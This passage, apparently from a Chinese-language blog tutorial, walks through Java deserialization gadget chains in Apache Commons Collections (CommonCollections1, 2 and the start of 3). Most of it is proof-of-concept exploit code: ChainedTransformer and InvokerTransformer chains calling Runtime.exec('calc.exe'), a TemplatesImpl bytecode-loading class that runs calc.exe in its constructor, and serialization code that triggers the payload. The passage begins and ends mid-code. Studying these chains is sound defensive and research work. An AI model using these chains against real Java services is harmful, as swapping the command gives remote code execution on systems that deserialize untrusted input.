InvokerTransformer.transform()                                            Method.invoke()                                                Runtime.exec()            Requires:                commons-collections         */</span>        <span class="token class-name">Transformer</span> transformerChain <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">(</span>transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">LazyMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> transformerChain<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Class</span> clazz <span class="token operator">=</span> <span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token function">forName</span><span class="token punctuation">(</span><span class="token string">"sun.reflect.annotation.AnnotationInvocationHandler"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Constructor</span> construct <span class="token operator">=</span> clazz<span class="token punctuation">.</span><span class="token function">getDeclaredConstructor</span><span class="token punctuation">(</span><span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Map</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        construct<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">InvocationHandler</span> handler <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">InvocationHandler</span><span class="token punctuation">)</span> construct<span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token class-name">Retention</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> outerMap<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// AnnotationInvocationHandler实际上就是一个InvocationHandler</span>        <span class="token comment">// 我们如果将这个对象用Proxy进行代理，那么在readObject的时候，只要调用任意方法，就会进入到 AnnotationInvocationHandler#invoke 方法中</span>        <span class="token comment">// 进而触发我们的LazyMap#get,随后的利用链就和TransformedMap的一样了</span>        <span class="token class-name">Map</span> proxyMap <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Map</span><span class="token punctuation">)</span> <span class="token class-name">Proxy</span><span class="token punctuation">.</span><span class="token function">newProxyInstance</span><span class="token punctuation">(</span><span class="token class-name">Map</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span><span class="token class-name">Map</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> handler<span class="token punctuation">)</span><span class="token punctuation">;</span>        handler <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">InvocationHandler</span><span class="token punctuation">)</span> construct<span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token class-name">Retention</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> proxyMap<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">out</span><span class="token punctuation">(</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">out</span><span class="token punctuation">(</span><span class="token class-name">InvocationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>注意代码注释，<code>TransformedMap</code>这条链在<code>Java8</code>后无法使用，因为反序列化所用到的<code>AnnotationInvocationHandler</code>被改写，<code>LazyMap</code>为改写后的利用方法</p><h3 id="CommonCollections2"><a href="#CommonCollections2" class="headerlink" title="CommonCollections2"></a>CommonCollections2</h3><p>主要使用<code>PriorityQueue</code>来触发<code>TransformingComparator.compare</code>方法，然后触发<code>ChainedTransformer.transform</code>方法</p><p>然而后面有不依靠<code>ChainedTransformer</code>的新利用方法，主要是通过<code>TemplatesImpl</code>来动态加载字节码文件，然后需要<code>newTransformer</code>才能加载恶意类，就利用<code>InvokerTransformer</code>的<code>transform</code>反射触发</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TemplatesImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TransformerFactoryImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections4<span class="token punctuation">.</span></span><span class="token class-name">Transformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections4<span class="token punctuation">.</span>comparators<span class="token punctuation">.</span></span><span class="token class-name">TransformingComparator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections4<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ChainedTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections4<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ConstantTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections4<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">InvokerTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>ibatis<span class="token punctuation">.</span>javassist<span class="token punctuation">.</span></span><span class="token class-name">ClassPool</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>ibatis<span class="token punctuation">.</span>javassist<span class="token punctuation">.</span></span><span class="token class-name">CtClass</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token operator">*</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Comparator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">PriorityQueue</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token keyword">static</span> <span class="token import static"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span><span class="token class-name">Reflections</span><span class="token punctuation">.</span><span class="token static">setFieldValue</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonCollections2</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">CC_PriorityQueue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_PriorityQueue</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> fakeTransformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"getMethod"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token string">"getRuntime"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"invoke"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token class-name">Object</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token keyword">class</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"exec"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token string">"calc.exe"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span> transformerChain <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">(</span>fakeTransformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TransformingComparator</span> comparator <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TransformingComparator</span><span class="token punctuation">(</span>transformerChain<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">PriorityQueue</span> queue <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PriorityQueue</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> comparator<span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>transformerChain<span class="token punctuation">,</span> <span class="token string">"iTransformers"</span><span class="token punctuation">,</span> transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_No_Transformer</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span>HelloTemplatesImpl</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span> transformer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"toString"</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Comparator</span> comparator <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TransformingComparator</span><span class="token punctuation">(</span>transformer<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">PriorityQueue</span> queue <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PriorityQueue</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> comparator<span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>        queue<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>transformer<span class="token punctuation">,</span> <span class="token string">"iMethodName"</span><span class="token punctuation">,</span> <span class="token string">"newTransformer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p><code>HelloTemplatesImpl.java</code>代码，这里恶意必须继承<code>AbstractTranslet</code>，因为反序列化的时候<code>defineTransletClasses</code>函数会判断字节码转化的类是否继承自<code>AbstractTranslet</code></p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">package</span> <span class="token namespace">com<span class="token punctuation">.</span>loader</span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">DOM</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">TransletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>runtime<span class="token punctuation">.</span></span><span class="token class-name">AbstractTranslet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>dtm<span class="token punctuation">.</span></span><span class="token class-name">DTMAxisIterator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span><span class="token class-name">SerializationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">IOException</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">HelloTemplatesImpl</span> <span class="token keyword">extends</span> <span class="token class-name">AbstractTranslet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> handlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token class-name">HelloTemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">super</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc.exe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Hello TemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h3 id="CommonCollections3"><a href="#CommonCollections3" class="headerlink" title="CommonCollections3"></a>CommonCollections3</h3><p>这条链主要利用的是<code>TiedMapEntry</code>这个<code>Map</code>类，外加<code>TemplatesImpl</code>动态加载字节码</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TemplatesImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TrAXFilter</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TransformerFactoryImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span></span><span class="token class-name">Transformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ChainedTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ConstantTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">InstantiateTransformer</span></span><span class="token 